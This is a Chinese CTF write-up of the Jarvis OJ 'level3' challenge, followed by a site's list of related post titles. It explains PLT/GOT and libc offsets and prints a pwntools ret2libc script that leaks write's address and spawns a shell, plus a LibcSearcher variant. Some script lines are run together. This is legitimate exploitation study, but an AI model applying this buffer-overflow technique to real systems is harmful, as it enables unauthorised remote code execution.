下载下来发现有level3文件和libc.so文件,先checksec,和level2差不多,接着ida打开level3,没找到system函数和bin字符串,没什么办法了。接着去看so文件,libc是Linux下的ANSI C的函数库。找到了system函数和bin字符串。那么怎么利用呢?

首先了解plt和got表。链接
我是这么理解的:plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中的真实地址,也就是说plt[write]指向got[write],got[write]指向write函数在内存中的地址。而plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址。程序运行后加载动态库,把动态库中的相应函数地址填入GOT表。同时还有个知识点,libc文件中不同函数、数据之间的偏移量在服务器和客户机中是一样的。

因此思想是首先利用write函数将服务器中函数的地址泄露,构造write(got[write])。

pad
ebp
ret_addr
write的参数1,从右到左
write的参数2
write的参数3

得到服务器中write函数的真实地址。
由于函数在内存中距so文件开头地址是一样的,因此算出offset=服务器函数地址-本地地址,服务器地址即为本地地址+offset。

脚本:

from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)offset=true_address-libc.symbols['write']bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offsetpayload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()

注意点:
我在p32里运算有问题,拉出来就可以了。

加一种,如果不知道libc版本,使用LibcSearcher库:

obj = LibcSearcher("read", u32(read_got)) //根据read的地址后3字节判断libc版本
offset=u32(read_got)-obj.dump('read')        //偏移
sys=obj.dump("system")+offset
bins=obj.dump("str_bin_sh")+offset

Jarvis oj level3相关推荐

  1. [Jarvis OJ - PWN]——[XMAN]level3

    [Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...

  2. [Jarvis OJ - PWN]——[XMAN]level3_x64

    [Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...

  3. Jarvis OJ PWN题解 持续更新~

    最近沉(被)迷(迫)学pwn    看我们的志琦大佬 我就知道  pwn 玩玩就行    但是 不认真学 不行 然后向大佬打听了几个pwn的平台网站 打算 玩一下   这里找到了 Jarvis OJ ...

  4. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  5. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  6. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

  7. [Jarvis OJ - PWN]——Test Your Memory

    [Jarvis OJ - PWN]--Test Your Memory 题目地址: https://www.jarvisoj.com/challenges 题目: 32位程序,开了NX保护 IDA e ...

  8. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  9. [Jarvis OJ - PWN]——Smashes

    [Jarvis OJ - PWN]--Smashes 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下看看.64位,并且除了PIE ...

最新文章

  1. 手动创建一棵二叉树,然后利用前序、中序、后序、层序进行遍历(从创建二叉树到各种方式遍历)(含运行结果)
  2. True Zero Downtime HAProxy Reloads--转载
  3. DGL实现同构/异构图卷积模型
  4. 初识C++之函数重载
  5. OOA OOD OOP
  6. radar(nyoj287贪心)
  7. [导入]实现删除主表数据时, 判断与之关联的外键表是否有数据引用, 有标志, 无则删除...
  8. 知乎 2019 新知青年大会开幕,用问题改变世界的方向
  9. 【黄金分割点】与【斐波那契数列】
  10. win11文件夹打开延迟怎么办 Windows11文件打开延迟的解决方法
  11. 由电子领域延伸的技术视野
  12. 基于openstack构建私有云实践
  13. windows下安装禅道
  14. java获取时间戳几天前
  15. 游戏美术行业的薪资待遇,人与人的差距真的在于努力,来看看数据吧
  16. 计算机专业社会需要分析,计算机专业社会需求数据分析开题报告.doc
  17. 完整学习笔记之Android基础(详版)
  18. 服务器怎么当虚拟主机,服务器怎么做虚拟主机
  19. 吴恩达机器学习ex2-logistic regression python版
  20. EBS中导入xdf出现错误Error during upload of Fnd_Columns

热门文章

  1. 区间选点acwing905(贪心算法)
  2. Making FIFA Coins with FUT 14 Winter Upgrades
  3. linux关闭硬盘检测,关闭Linux开机强制检测硬盘
  4. java8的option避免NullPoint异常
  5. hda vs sda
  6. 普罗米修斯Prometheus+Grafana,监控搭建与界面基础配置
  7. OLTP和OLAP的区别;
  8. Directory Opus Pro v12.29.8272 文件管理资源管理器工具专业版
  9. 基于codesys开发的多轴运动控制程序框架,将逻辑与运动控制分离,将单轴控制封装成功能块,对该功能块的操作包含了所有的单轴控制
  10. ElementUI日期转为“yyyy-MM-dd“格式